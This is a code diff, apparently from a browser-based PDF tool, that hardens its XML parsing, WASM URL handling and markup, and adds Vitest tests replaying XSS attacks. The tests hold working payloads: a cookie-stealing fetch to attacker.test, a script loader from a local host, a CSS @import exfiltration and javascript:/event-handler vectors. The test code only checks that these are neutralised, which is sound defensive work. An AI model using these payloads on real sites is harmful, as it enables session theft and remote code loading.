if (typeof url !== 'string') continue;
if (this.isTrustedUrl(url)) {
safe[key] = url;
} else {
dropped = true;
console.warn(
`[WasmProvider] Ignoring untrusted stored URL for ${key}: ${url}. ` +
'Reconfigure via Advanced Settings to re-enable.'
);
}
}
if (dropped) {
try {
localStorage.setItem(STORAGE_KEY, JSON.stringify(safe));
} catch (e) {
console.error(
'[WasmProvider] Failed to scrub untrusted config from localStorage:',
e
);
}
}
return safe;
} catch (e) {
console.warn(
'[WasmProvider] Failed to load config from localStorage:',
@@ -66,11 +123,23 @@ class WasmProviderManager {
}
getUrl(packageName: WasmPackage): string | undefined {
return this.config[packageName] || this.getEnvDefault(packageName);
const stored = this.config[packageName];
if (stored) {
if (this.isTrustedUrl(stored)) return stored;
console.warn(
`[WasmProvider] Refusing to use untrusted URL for ${packageName}; falling back to env default.`
);
}
return this.getEnvDefault(packageName);
}
setUrl(packageName: WasmPackage, url: string): void {
const normalizedUrl = url.endsWith('/') ? url : `${url}/`;
const host = hostnameOf(normalizedUrl);
if (!host) {
throw new Error('Invalid URL');
}
this.trustedHosts.add(host);
this.config[packageName] = normalizedUrl;
this.validationCache.delete(packageName);
this.saveConfig();
@@ -219,6 +288,7 @@ class WasmProviderManager {
clearAll(): void {
this.config = {};
this.validationCache.clear();
this.trustedHosts = new Set<string>(BUILTIN_TRUSTED_HOSTS);
try {
localStorage.removeItem(STORAGE_KEY);
} catch (e) {
+235 -151
View File
@@ -1,196 +1,280 @@
import { jsPDF } from 'jspdf';
import autoTable from 'jspdf-autotable';
import { XMLParser } from 'fast-xml-parser';
export interface XmlToPdfOptions {
onProgress?: (percent: number, message: string) => void;
onProgress?: (percent: number, message: string) => void;
}
interface jsPDFWithAutoTable extends jsPDF {
lastAutoTable?: { finalY: number };
lastAutoTable?: { finalY: number };
}
const ATTR_PREFIX = '@_';
const TEXT_KEY = '#text';
export async function convertXmlToPdf(
file: File,
options?: XmlToPdfOptions
file: File,
options?: XmlToPdfOptions
): Promise<Blob> {
const { onProgress } = options || {};
const { onProgress } = options || {};
onProgress?.(10, 'Reading XML file...');
const xmlText = await file.text();
onProgress?.(10, 'Reading XML file...');
const rawXmlText = await file.text();
const xmlText = String(rawXmlText)
.replace(/<!DOCTYPE[\s\S]*?>/gi, '')
.replace(/<!ENTITY[\s\S]*?>/gi, '')
.replace(/<\?xml-stylesheet[\s\S]*?\?>/gi, '');
onProgress?.(30, 'Parsing XML structure...');
const parser = new DOMParser();
const xmlDoc = parser.parseFromString(xmlText, 'text/xml');
onProgress?.(30, 'Parsing XML structure...');
const parser = new XMLParser({
ignoreAttributes: false,
attributeNamePrefix: ATTR_PREFIX,
textNodeName: TEXT_KEY,
allowBooleanAttributes: true,
parseTagValue: false,
parseAttributeValue: false,
trimValues: true,
processEntities: true,
ignoreDeclaration: true,
ignorePiTags: true,
});
const parseError = xmlDoc.querySelector('parsererror');
if (parseError) {
throw new Error('Invalid XML: ' + parseError.textContent);
}
let parsed: Record<string, unknown>;
try {
parsed = parser.parse(xmlText) as Record<string, unknown>;
} catch (err) {
const msg = err instanceof Error ? err.message : String(err);
throw new Error('Invalid XML: ' + toSafeText(msg), { cause: err });
}
onProgress?.(50, 'Analyzing data structure...');
const rootKeys = Object.keys(parsed);
if (rootKeys.length === 0) {
throw new Error('Invalid XML: no root element');
}
const rootName = rootKeys[0];
const rootValue = parsed[rootName];
const doc: jsPDFWithAutoTable = new jsPDF({
orientation: 'landscape',
unit: 'mm',
format: 'a4'
});
onProgress?.(50, 'Analyzing data structure...');
const pageWidth = doc.internal.pageSize.getWidth();
let yPosition = 20;
const doc: jsPDFWithAutoTable = new jsPDF({
orientation: 'landscape',
unit: 'mm',
format: 'a4',
});
const root = xmlDoc.documentElement;
const rootName = formatTitle(root.tagName);
const pageWidth = doc.internal.pageSize.getWidth();
let yPosition = 20;
doc.setFontSize(18);
doc.setFont('helvetica', 'bold');
doc.text(rootName, pageWidth / 2, yPosition, { align: 'center' });
yPosition += 15;
doc.setFontSize(18);
doc.setFont('helvetica', 'bold');
doc.text(formatTitle(rootName), pageWidth / 2, yPosition, {
align: 'center',
});
yPosition += 15;
onProgress?.(60, 'Generating formatted content...');
onProgress?.(60, 'Generating formatted content...');
const children = Array.from(root.children);
if (isPlainObject(rootValue)) {
const rootObj = rootValue;
const childEntries = Object.entries(rootObj).filter(
([k]) => !k.startsWith(ATTR_PREFIX) && k !== TEXT_KEY
);
if (children.length > 0) {
const groups = groupByTagName(children);
if (childEntries.length > 0) {
const groups = groupChildrenByTagName(childEntries);
for (const [groupName, elements] of Object.entries(groups)) {
const { headers, rows } = extractTableData(elements);
if (headers.length > 0 && rows.length > 0) {
if (Object.keys(groups).length > 1) {
doc.setFontSize(14);
doc.setFont('helvetica', 'bold');
doc.text(formatTitle(groupName), 14, yPosition);
yPosition += 8;
}
autoTable(doc, {
head: [headers.map(h => formatTitle(h))],
body: rows,
startY: yPosition,
styles: {
fontSize: 9,
cellPadding: 4,
overflow: 'linebreak',
},
headStyles: {
fillColor: [79, 70, 229],
textColor: 255,
fontStyle: 'bold',
},
alternateRowStyles: {
fillColor: [243, 244, 246],
},
margin: { top: 20, left: 14, right: 14 },
theme: 'striped',
didDrawPage: (data) => {
yPosition = (data.cursor?.y || yPosition) + 10;
}
});
yPosition = (doc.lastAutoTable?.finalY || yPosition) + 15;
}
const renderableGroups: Array<[string, Record<string, unknown>[]]> = [];
for (const [groupName, elements] of Object.entries(groups)) {
const { headers, rows } = extractTableData(elements);
if (headers.length > 0 && rows.length > 0) {
renderableGroups.push([groupName, elements]);
}
}
for (const [groupName, elements] of renderableGroups) {
const { headers, rows } = extractTableData(elements);
if (renderableGroups.length > 1) {
doc.setFontSize(14);
doc.setFont('helvetica', 'bold');
doc.text(formatTitle(groupName), 14, yPosition);
yPosition += 8;
}
autoTable(doc, {
head: [headers.map((h) => formatTitle(h))],
body: rows,
startY: yPosition,
styles: {
fontSize: 9,
cellPadding: 4,
overflow: 'linebreak',
},
headStyles: {
fillColor: [79, 70, 229],
textColor: 255,
fontStyle: 'bold',
},
alternateRowStyles: {
fillColor: [243, 244, 246],
},
margin: { top: 20, left: 14, right: 14 },
theme: 'striped',
didDrawPage: (data) => {
yPosition = (data.cursor?.y || yPosition) + 10;
},
});
yPosition = (doc.lastAutoTable?.finalY || yPosition) + 15;
}
} else {
const kvPairs = extractKeyValuePairs(root);
if (kvPairs.length > 0) {
autoTable(doc, {
head: [['Property', 'Value']],
body: kvPairs,
startY: yPosition,
styles: {
fontSize: 10,
cellPadding: 5,
},
headStyles: {
fillColor: [79, 70, 229],
textColor: 255,
fontStyle: 'bold',
},
columnStyles: {
0: { fontStyle: 'bold', cellWidth: 60 },
1: { cellWidth: 'auto' },
},
margin: { left: 14, right: 14 },
theme: 'striped',
});
}
const kvPairs = extractKeyValuePairs(rootObj);
if (kvPairs.length > 0) {
autoTable(doc, {
head: [['Property', 'Value']],
body: kvPairs,
startY: yPosition,
styles: {
fontSize: 10,
cellPadding: 5,
},
headStyles: {
fillColor: [79, 70, 229],
textColor: 255,
fontStyle: 'bold',
},
columnStyles: {
0: { fontStyle: 'bold', cellWidth: 60 },
1: { cellWidth: 'auto' },
},
margin: { left: 14, right: 14 },
theme: 'striped',
});
}
}
}
onProgress?.(90, 'Finalizing PDF...');
onProgress?.(90, 'Finalizing PDF...');
const pdfBlob = doc.output('blob');
const pdfBlob = doc.output('blob');
onProgress?.(100, 'Complete!');
return pdfBlob;
onProgress?.(100, 'Complete!');
return pdfBlob;
}
function groupByTagName(elements: Element[]): Record<string, Element[]> {
const groups: Record<string, Element[]> = {};
for (const element of elements) {
const tagName = element.tagName;
if (!groups[tagName]) {
groups[tagName] = [];
}
groups[tagName].push(element);
}
return groups;
function isPlainObject(val: unknown): val is Record<string, unknown> {
return val !== null && typeof val === 'object' && !Array.isArray(val);
}
function extractTableData(elements: Element[]): { headers: string[], rows: string[][] } {
if (elements.length === 0) {
return { headers: [], rows: [] };
}
const headerSet = new Set<string>();
for (const element of elements) {
for (const child of Array.from(element.children)) {
headerSet.add(child.tagName);
}
}
const headers = Array.from(headerSet);
const rows: string[][] = [];
for (const element of elements) {
const row: string[] = [];
for (const header of headers) {
const child = element.querySelector(header);
row.push(child?.textContent?.trim() || '');
}
rows.push(row);
}
return { headers, rows };
function groupChildrenByTagName(
entries: [string, unknown][]
): Record<string, Record<string, unknown>[]> {
const groups: Record<string, Record<string, unknown>[]> = {};
for (const [tagName, value] of entries) {
const items = Array.isArray(value) ? value : [value];
const normalized: Record<string, unknown>[] = items.map((v) => {
if (isPlainObject(v)) return v;
if (v == null) return {};
return { [TEXT_KEY]: String(v) };
});
groups[tagName] = normalized;
}
return groups;
}
function extractTableData(elements: Record<string, unknown>[]): {
headers: string[];
rows: string[][];
} {
if (elements.length === 0) return { headers: [], rows: [] };
function extractKeyValuePairs(element: Element): string[][] {
const pairs: string[][] = [];
for (const child of Array.from(element.children)) {
const key = child.tagName;
const value = child.textContent?.trim() || '';
if (value) {
pairs.push([formatTitle(key), value]);
}
const headerSet = new Set<string>();
for (const element of elements) {
for (const key of Object.keys(element)) {
if (key.startsWith(ATTR_PREFIX)) continue;
if (key === TEXT_KEY) continue;
headerSet.add(key);
}
}
const headers = Array.from(headerSet);
if (headers.length === 0) return { headers: [], rows: [] };
for (const attr of Array.from(element.attributes)) {
pairs.push([formatTitle(attr.name), attr.value]);
const rows: string[][] = [];
for (const element of elements) {
const row: string[] = [];
for (const header of headers) {
row.push(toSafeText(stringifyValue(element[header])));
}
rows.push(row);
}
return pairs;
return { headers, rows };
}
function extractKeyValuePairs(obj: Record<string, unknown>): string[][] {
const pairs: string[][] = [];
for (const [key, val] of Object.entries(obj)) {
if (key.startsWith(ATTR_PREFIX)) continue;
if (key === TEXT_KEY) continue;
const strVal = toSafeText(stringifyValue(val));
if (strVal) {
pairs.push([formatTitle(key), strVal]);
}
}
for (const [key, val] of Object.entries(obj)) {
if (!key.startsWith(ATTR_PREFIX)) continue;
const attrName = key.slice(ATTR_PREFIX.length);
pairs.push([formatTitle(attrName), toSafeText(stringifyValue(val))]);
}
return pairs;
}
function stringifyValue(val: unknown): string {
if (val == null) return '';
if (typeof val === 'string') return val;
if (typeof val === 'number' || typeof val === 'boolean') return String(val);
if (Array.isArray(val)) {
return val
.map((v) => stringifyValue(v))
.filter((s) => s.length > 0)
.join(', ');
}
if (isPlainObject(val)) {
const parts: string[] = [];
if (TEXT_KEY in val) {
const t = stringifyValue(val[TEXT_KEY]);
if (t) parts.push(t);
}
for (const [k, v] of Object.entries(val)) {
if (k.startsWith(ATTR_PREFIX)) continue;
if (k === TEXT_KEY) continue;
const inner = stringifyValue(v);
if (inner) parts.push(inner);
}
return parts.join(' ');
}
return String(val);
}
function toSafeText(raw: string | null | undefined): string {
if (raw == null) return '';
return (
String(raw)
// eslint-disable-next-line no-control-regex
.replace(/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/g, '')
.trim()
);
}
function formatTitle(tagName: string): string {
return tagName
.replace(/[_-]/g, ' ')
.replace(/([a-z])([A-Z])/g, '$1 $2')
.split(' ')
.map(word => word.charAt(0).toUpperCase() + word.slice(1).toLowerCase())
.join(' ');
return tagName
.replace(/[_-]/g, ' ')
.replace(/([a-z])([A-Z])/g, '$1 $2')
.split(' ')
.map((word) => word.charAt(0).toUpperCase() + word.slice(1).toLowerCase())
.join(' ');
}
+1 -1
View File
@@ -45,7 +45,7 @@ export class EncryptNode extends BaseWorkflowNode {
return {
pdf: await processBatch(pdfInputs, async (input) => {
const qpdf = await initializeQpdf();
const uid = `${Date.now()}_${Math.random().toString(36).slice(2, 9)}`;
const uid = `${Date.now()}_${crypto.randomUUID().slice(0, 7)}`;
const inputPath = `/tmp/input_encrypt_${uid}.pdf`;
const outputPath = `/tmp/output_encrypt_${uid}.pdf`;
+1 -1
View File
@@ -28,7 +28,7 @@ export class LinearizeNode extends BaseWorkflowNode {
return {
pdf: await processBatch(pdfInputs, async (input) => {
const qpdf = await initializeQpdf();
const uid = `${Date.now()}_${Math.random().toString(36).slice(2, 9)}`;
const uid = `${Date.now()}_${crypto.randomUUID().slice(0, 7)}`;
const inputPath = `/tmp/input_linearize_${uid}.pdf`;
const outputPath = `/tmp/output_linearize_${uid}.pdf`;
+1 -1
View File
@@ -40,7 +40,7 @@ export class OverlayNode extends BaseWorkflowNode {
const mode = modeControl?.value === 'underlay' ? '--underlay' : '--overlay';
const qpdf = await initializeQpdf();
const uid = `${Date.now()}_${Math.random().toString(36).slice(2, 9)}`;
const uid = `${Date.now()}_${crypto.randomUUID().slice(0, 7)}`;
const inputPath = `/tmp/input_overlay_${uid}.pdf`;
const overlayPath = `/tmp/overlay_${uid}.pdf`;
const outputPath = `/tmp/output_overlay_${uid}.pdf`;
+1 -1
View File
@@ -25,7 +25,7 @@ export class RepairNode extends BaseWorkflowNode {
return {
pdf: await processBatch(pdfInputs, async (input) => {
const qpdf = await initializeQpdf();
const uid = `${Date.now()}_${Math.random().toString(36).slice(2, 9)}`;
const uid = `${Date.now()}_${crypto.randomUUID().slice(0, 7)}`;
const inputPath = `/tmp/input_repair_${uid}.pdf`;
const outputPath = `/tmp/output_repair_${uid}.pdf`;
+1 -5
View File
@@ -375,7 +375,6 @@
<div
id="upload-area"
class="hidden border-2 border-dashed border-gray-600 rounded-lg p-6 sm:p-12 text-center max-w-full cursor-pointer"
onclick="document.getElementById('pdf-file-input').click()"
>
<i
data-lucide="upload-cloud"
@@ -401,10 +400,7 @@
class="hidden"
/>
<button
onclick="
event.stopPropagation();
document.getElementById('pdf-file-input').click();
"
id="pdf-file-input-select-btn"
class="bg-indigo-600 hover:bg-indigo-700 text-white px-4 sm:px-6 py-2 rounded text-sm sm:text-base"
data-i18n="multiTool.selectFiles"
>
+1 -3
View File
@@ -218,9 +218,7 @@
</h3>
<p id="alert-message" class="text-gray-300 mb-6"></p>
<button
onclick="
document.getElementById('alert-modal').classList.add('hidden')
"
id="alert-ok"
class="w-full bg-indigo-600 hover:bg-indigo-700 text-white font-semibold py-2 px-4 rounded-lg transition-colors duration-200"
>
OK
+4 -4
View File
@@ -191,10 +191,10 @@
<span class="text-xs text-gray-500">Recommended:</span>
<code
class="text-xs text-indigo-400 bg-gray-800 px-2 py-1 rounded flex-1 truncate"
>https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/</code
>https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/</code
>
<button
data-copy="https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/"
data-copy="https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/"
class="copy-btn p-1.5 bg-gray-600 hover:bg-gray-500 rounded text-gray-300 hover:text-white transition-colors"
title="Copy to clipboard"
>
@@ -238,10 +238,10 @@
<span class="text-xs text-gray-500">Recommended:</span>
<code
class="text-xs text-indigo-400 bg-gray-800 px-2 py-1 rounded flex-1 truncate"
>https://cdn.jsdelivr.net/npm/coherentpdf/dist/</code
>https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/</code
>
<button
data-copy="https://cdn.jsdelivr.net/npm/coherentpdf/dist/"
data-copy="https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/"
class="copy-btn p-1.5 bg-gray-600 hover:bg-gray-500 rounded text-gray-300 hover:text-white transition-colors"
title="Copy to clipboard"
>
+38 -5
View File
@@ -13,9 +13,11 @@ import {
import { extractExistingFields } from '../js/logic/form-creator-extraction.ts';
import type { ExtractedFieldLike } from '@/types';
const FORM_CREATOR_SCALE = 1.333;
const TEST_EXTRACTION_METRICS = {
pdfViewerOffset: { x: 0, y: 0 },
pdfViewerScale: 1,
pdfViewerScale: FORM_CREATOR_SCALE,
};
function extractFieldsForTest(pdfDoc: PDFDocument): ExtractedFieldLike[] {
@@ -377,12 +379,13 @@ describe('form creator extraction regression', () => {
const field = extracted.find((entry) => entry.name === 'page2TextField');
expect(field).toBeDefined();
const pageHeight = pdfDoc.getPages()[1].getSize().height;
expect(field).toMatchObject({
pageIndex: 1,
x: rect.x,
y: pdfDoc.getPages()[1].getSize().height - rect.y - rect.height,
width: rect.width,
height: rect.height,
x: rect.x * FORM_CREATOR_SCALE,
y: (pageHeight - rect.y - rect.height) * FORM_CREATOR_SCALE,
width: rect.width * FORM_CREATOR_SCALE,
height: rect.height * FORM_CREATOR_SCALE,
});
});
@@ -411,4 +414,34 @@ describe('form creator extraction regression', () => {
expect(pageMap.get('page1ExtraField')).toBe(0);
expect(pageMap.get('page2TextField')).toBe(1);
});
it('round-trips extracted canvas coords back to original PDF coords within 1pt', async () => {
const { pdfDoc } = await buildTwoPageTextFieldPdf();
const page = pdfDoc.getPages()[0];
const { height: pageHeight } = page.getSize();
const originalWidget = pdfDoc
.getForm()
.getTextField('page1TextField')
.acroField.getWidgets()[0];
const originalRect = originalWidget.getRectangle();
const extracted = extractFieldsForTest(pdfDoc);
const field = extracted.find((f) => f.name === 'page1TextField');
expect(field).toBeDefined();
const pdfX = field!.x / FORM_CREATOR_SCALE;
const pdfY =
pageHeight -
field!.y / FORM_CREATOR_SCALE -
field!.height / FORM_CREATOR_SCALE;
const pdfW = field!.width / FORM_CREATOR_SCALE;
const pdfH = field!.height / FORM_CREATOR_SCALE;
expect(pdfX).toBeCloseTo(originalRect.x, 0);
expect(pdfY).toBeCloseTo(originalRect.y, 0);
expect(pdfW).toBeCloseTo(originalRect.width, 0);
expect(pdfH).toBeCloseTo(originalRect.height, 0);
});
});
+371
View File
@@ -0,0 +1,371 @@
import { describe, it, expect, beforeEach, vi } from 'vitest';
import MarkdownIt from 'markdown-it';
import DOMPurify from 'dompurify';
import forge from 'node-forge';
import { escapeHtml, sanitizeEmailHtml } from '../js/utils/helpers';
import { validateSignature } from '../js/logic/validate-signature-pdf';
import type { ExtractedSignature } from '@/types';
function renderAsPreviewWould(markdown: string): string {
const md = new MarkdownIt({
html: true,
breaks: false,
linkify: true,
typographer: true,
});
const raw = md.render(markdown);
return DOMPurify.sanitize(raw, { ADD_ATTR: ['target'] });
}
function assertNoExecutableContent(html: string) {
const doc = document.implementation.createHTMLDocument('x');
const root = doc.createElement('div');
root.innerHTML = html;
doc.body.appendChild(root);
const all = root.querySelectorAll('*');
expect(
root.querySelector('script'),
`<script> survived:\n${html}`
).toBeNull();
for (const el of Array.from(all)) {
for (const attr of Array.from(el.attributes)) {
expect(
/^on/i.test(attr.name),
`Element <${el.tagName.toLowerCase()}> has event handler ${attr.name}="${attr.value}" from:\n${html}`
).toBe(false);
if (
['href', 'src', 'xlink:href', 'formaction', 'action'].includes(
attr.name.toLowerCase()
)
) {
expect(
/^\s*javascript:/i.test(attr.value),
`Element <${el.tagName.toLowerCase()}> has ${attr.name}="${attr.value}" from:\n${html}`
).toBe(false);
}
}
}
const iframes = root.querySelectorAll('iframe[srcdoc]');
expect(iframes.length, `<iframe srcdoc> survived:\n${html}`).toBe(0);
}
describe('XSS replay — Markdown-to-PDF preview path', () => {
it('neutralizes the exact payload from the security report', () => {
const payload = `# Quarterly Financial Report Q1 2026
## Executive Summary
Revenue growth exceeded expectations at 12.3% YoY.
<img src=x onerror="var s=document.createElement('script');s.src='http://127.0.0.1:9999/payload.js';document.head.appendChild(s)">
## Outlook
Management maintains FY2026 guidance.
`;
const html = renderAsPreviewWould(payload);
assertNoExecutableContent(html);
const doc = document.implementation.createHTMLDocument('x');
const root = doc.createElement('div');
root.innerHTML = html;
const img = root.querySelector('img');
expect(img).not.toBeNull();
expect(img?.getAttribute('onerror')).toBeNull();
});
it('strips <script> tags from raw markdown', () => {
const html = renderAsPreviewWould(`<script>alert(1)</script>`);
assertNoExecutableContent(html);
});
it('strips event-handler attributes from every HTML tag markdown-it passes through', () => {
const html = renderAsPreviewWould(`
<svg onload="alert(1)"><text>x</text></svg>
<details ontoggle="alert(1)" open><summary>x</summary></details>
<body onfocus="alert(1)">
<input autofocus onfocus="alert(1)">
<video autoplay onloadstart="alert(1)"><source src=x></video>
<iframe srcdoc="<script>alert(1)</script>"></iframe>
<form><button formaction="javascript:alert(1)">x</button></form>
`);
assertNoExecutableContent(html);
});
it('blocks javascript: href on plain markdown links', () => {
const html = renderAsPreviewWould('[click me](javascript:alert(1))');
assertNoExecutableContent(html);
});
it('blocks data: URLs in script contexts but preserves data: in images', () => {
const html = renderAsPreviewWould(
`![img](data:image/png;base64,AAAA)\n<script src="data:text/javascript,alert(1)"></script>`
);
assertNoExecutableContent(html);
expect(html).toContain('src="data:image/png');
});
it('defeats attribute-injection via quote-breakout in markdown link titles', () => {
const html = renderAsPreviewWould(
'[x](https://example.com "a\\" onmouseover=alert(1) x=\\"")'
);
assertNoExecutableContent(html);
});
it('mermaid click directive with javascript: is stripped by SVG sanitizer', () => {
const evilSvg = `<svg xmlns="http://www.w3.org/2000/svg">
<a href="javascript:alert('mermaid click')"><rect width="10" height="10"/></a>
<g onclick="alert(1)"><text>label</text></g>
<foreignObject><body><img src=x onerror="alert(1)"></body></foreignObject>
<script>alert(1)</script>
</svg>`;
const clean = DOMPurify.sanitize(evilSvg, {
USE_PROFILES: { svg: true, svgFilters: true },
});
assertNoExecutableContent(clean);
expect(clean).not.toMatch(/javascript:/i);
});
});
describe('XSS replay — filename sink', () => {
it('escapeHtml neutralizes an attacker-supplied .pdf filename before it reaches innerHTML', () => {
const evilName = `<img src=x onerror="fetch('https://attacker.test/steal?d=' + btoa(document.cookie))">.pdf`;
const rendered = `<p class="truncate font-medium text-white">${escapeHtml(evilName)}</p>`;
const host = document.createElement('div');
host.innerHTML = rendered;
expect(host.querySelector('img')).toBeNull();
expect(host.textContent).toContain(evilName);
});
it('createElement + textContent neutralizes the same payload (deskew/form-filler path)', () => {
const evilName = `<img src=x onerror="alert(1)">.pdf`;
const host = document.createElement('div');
const span = document.createElement('span');
span.textContent = evilName;
host.appendChild(span);
expect(host.querySelector('img')).toBeNull();
expect(span.textContent).toBe(evilName);
});
});
describe('XSS replay — WASM provider localStorage poisoning', () => {
beforeEach(() => {
localStorage.clear();
});
it('the exact PoC payload writes attacker URLs to localStorage — audit the key shape', () => {
const wasmPayload = {
pymupdf: 'https://attacker.test/wasm/pymupdf/',
ghostscript: 'https://attacker.test/wasm/gs/',
cpdf: 'https://attacker.test/wasm/cpdf/',
};
localStorage.setItem(
'bentopdf:wasm-providers',
JSON.stringify(wasmPayload)
);
const stored = localStorage.getItem('bentopdf:wasm-providers');
expect(stored).toContain('attacker.test');
});
it('WasmProvider scrubs the untrusted URLs on load and falls back to env defaults', async () => {
localStorage.setItem(
'bentopdf:wasm-providers',
JSON.stringify({
pymupdf: 'https://attacker.test/wasm/pymupdf/',
ghostscript: 'https://attacker.test/wasm/gs/',
cpdf: 'https://attacker.test/wasm/cpdf/',
})
);
vi.resetModules();
const { WasmProvider } = await import('../js/utils/wasm-provider');
const got = WasmProvider.getUrl('pymupdf');
expect(got).not.toContain('attacker.test');
expect(got).toMatch(/cdn\.jsdelivr\.net|^https?:\/\/[^/]+\//);
const remaining = JSON.parse(
localStorage.getItem('bentopdf:wasm-providers') || '{}'
);
expect(remaining.pymupdf).toBeUndefined();
expect(remaining.ghostscript).toBeUndefined();
expect(remaining.cpdf).toBeUndefined();
});
});
describe('XSS replay — CDN URL version pinning', () => {
it('every WASM CDN default URL is pinned to an exact patch version', async () => {
const { WasmProvider } = await import('../js/utils/wasm-provider');
const urls = WasmProvider.getAllProviders();
for (const [pkg, url] of Object.entries(urls)) {
if (!url) continue;
let hostname: string;
try {
hostname = new URL(url).hostname;
} catch {
continue;
}
if (hostname !== 'cdn.jsdelivr.net') continue;
expect(
/@\d+\.\d+\.\d+/.test(url),
`${pkg} URL "${url}" must be pinned to an exact version (e.g. [email protected])`
).toBe(true);
}
});
});
describe('XSS replay — sanitizeEmailHtml (DOMPurify-backed)', () => {
it('strips <script> tags and event handlers that a regex sanitizer would miss', () => {
const mutationPayloads = [
'<scr<script>ipt>alert(1)</scr</script>ipt>',
'<img/src=x/onerror=alert(1)>',
'<svg><animate onbegin=alert(1) attributeName=x /></svg>',
'<math><mo><a href=javascript:alert(1)>x</a></mo></math>',
'<iframe src="javascript:alert(1)"></iframe>',
'<object data="javascript:alert(1)"></object>',
'<embed src="javascript:alert(1)">',
];
for (const raw of mutationPayloads) {
const out = sanitizeEmailHtml(raw);
const doc = document.implementation.createHTMLDocument('x');
const root = doc.createElement('div');
root.innerHTML = out;
expect(
root.querySelector('script, iframe, object, embed, link'),
`mutation payload survived: ${raw}\n-> ${out}`
).toBeNull();
for (const el of Array.from(root.querySelectorAll('*'))) {
for (const attr of Array.from(el.attributes)) {
expect(/^on/i.test(attr.name), `event handler survived: ${raw}`).toBe(
false
);
if (
['href', 'src'].includes(attr.name.toLowerCase()) &&
/^\s*javascript:/i.test(attr.value)
) {
throw new Error(`javascript: URL survived: ${raw}`);
}
}
}
}
});
it('strips <style> and <link> to avoid @import / external stylesheet exfil', () => {
const out = sanitizeEmailHtml(
'<html><head><style>@import url(http://attacker/steal);</style><link rel=stylesheet href=http://attacker></head><body>hi</body></html>'
);
expect(out).not.toMatch(/@import/i);
expect(out.toLowerCase()).not.toContain('<style');
expect(out.toLowerCase()).not.toContain('<link');
});
});
describe('XSS replay — PDF signature cryptographic verification', () => {
function buildSignedPdf(digestAlgorithm: string = forge.pki.oids.sha256): {
pdfBytes: Uint8Array;
byteRange: number[];
p7Der: Uint8Array;
} {
const keys = forge.pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
const cert = forge.pki.createCertificate();
cert.publicKey = keys.publicKey;
cert.serialNumber = '01';
const attrs = [
{ name: 'commonName', value: 'Test Signer' },
{ name: 'countryName', value: 'US' },
];
cert.setSubject(attrs);
cert.setIssuer(attrs);
cert.validity.notBefore = new Date(Date.now() - 86400000);
cert.validity.notAfter = new Date(Date.now() + 365 * 86400000);
cert.sign(keys.privateKey, forge.md.sha256.create());
const contentBefore = '%PDF-1.4\nsigned content A\n';
const contentAfter = '\nsigned content B\n%%EOF\n';
const placeholderLen = 0;
const signedContent = new TextEncoder().encode(
contentBefore + contentAfter
);
const p7 = forge.pkcs7.createSignedData();
p7.content = forge.util.createBuffer(String.fromCharCode(...signedContent));
p7.addCertificate(cert);
p7.addSigner({
key: keys.privateKey,
certificate: cert,
digestAlgorithm,
authenticatedAttributes: [
{ type: forge.pki.oids.contentType, value: forge.pki.oids.data },
{ type: forge.pki.oids.messageDigest },
// @ts-expect-error runtime accepts Date, type defs say string
{ type: forge.pki.oids.signingTime, value: new Date() },
],
});
p7.sign({ detached: true });
const p7Asn1 = p7.toAsn1();
const p7Der = forge.asn1.toDer(p7Asn1).getBytes();
const p7Bytes = new Uint8Array(p7Der.length);
for (let i = 0; i < p7Der.length; i++) p7Bytes[i] = p7Der.charCodeAt(i);
const beforeBytes = new TextEncoder().encode(contentBefore);
const afterBytes = new TextEncoder().encode(contentAfter);
const pdfBytes = new Uint8Array(
beforeBytes.length + afterBytes.length + placeholderLen
);
pdfBytes.set(beforeBytes, 0);
pdfBytes.set(afterBytes, beforeBytes.length);
const byteRange = [
0,
beforeBytes.length,
beforeBytes.length + placeholderLen,
afterBytes.length,
];
return { pdfBytes, byteRange, p7Der: p7Bytes };
}
it('flags untouched signed bytes as cryptoVerified=true', async () => {
const { pdfBytes, byteRange, p7Der } = buildSignedPdf();
const sig: ExtractedSignature = {
index: 0,
contents: p7Der,
byteRange,
};
const result = await validateSignature(sig, pdfBytes);
expect(result.cryptoVerified).toBe(true);
expect(result.errorMessage).toBeUndefined();
});
it('flips a byte inside the signed range → cryptoVerified=false and isValid=false', async () => {
const { pdfBytes, byteRange, p7Der } = buildSignedPdf();
const tampered = new Uint8Array(pdfBytes);
tampered[10] ^= 0xff;
const sig: ExtractedSignature = {
index: 0,
contents: p7Der,
byteRange,
};
const result = await validateSignature(sig, tampered);
expect(result.cryptoVerified).toBe(false);
expect(result.isValid).toBe(false);
expect(result.errorMessage).toMatch(
/hash does not match|does not verify|PDF was modified/i
);
});
it('refuses MD5 as the digest algorithm even when bytes match', async () => {
const { pdfBytes, byteRange, p7Der } = buildSignedPdf(forge.pki.oids.md5);
const sig: ExtractedSignature = {
index: 0,
contents: p7Der,
byteRange,
};
const result = await validateSignature(sig, pdfBytes);
expect(result.usesInsecureDigest).toBe(true);
expect(result.isValid).toBe(false);
});
});
+130 -36
View File
@@ -1,8 +1,8 @@
import { defineConfig, Plugin } from 'vitest/config';
import { defineConfig } from 'vitest/config';
import type { IncomingMessage, ServerResponse } from 'http';
import http from 'http';
import https from 'https';
import type { Connect } from 'vite';
import type { Connect, Plugin } from 'vite';
// import basicSsl from '@vitejs/plugin-basic-ssl';
import tailwindcss from '@tailwindcss/vite';
import { nodePolyfills } from 'vite-plugin-node-polyfills';
@@ -12,7 +12,6 @@ import handlebars from 'vite-plugin-handlebars';
import { resolve } from 'path';
import fs from 'fs';
import { constants as zlibConstants } from 'zlib';
import type { OutputBundle } from 'rollup';
const SUPPORTED_LANGUAGES = [
'en',
@@ -33,6 +32,8 @@ const SUPPORTED_LANGUAGES = [
'zh',
'zh-TW',
'ko',
'ja',
'ua',
] as const;
const LANG_REGEX = new RegExp(
`^/(${SUPPORTED_LANGUAGES.join('|')})(?:/(.*))?$`
@@ -200,6 +201,47 @@ function createLanguageMiddleware(isDev: boolean): Connect.NextHandleFunction {
};
}
function buildCorsProxyAllowedHosts(): Set<string> {
const hosts = new Set<string>([
'cdn.jsdelivr.net',
'fonts.googleapis.com',
'fonts.gstatic.com',
'bentopdf-cors-proxy.bentopdf.workers.dev',
]);
const envHostSources = [
process.env.VITE_CORS_PROXY_URL,
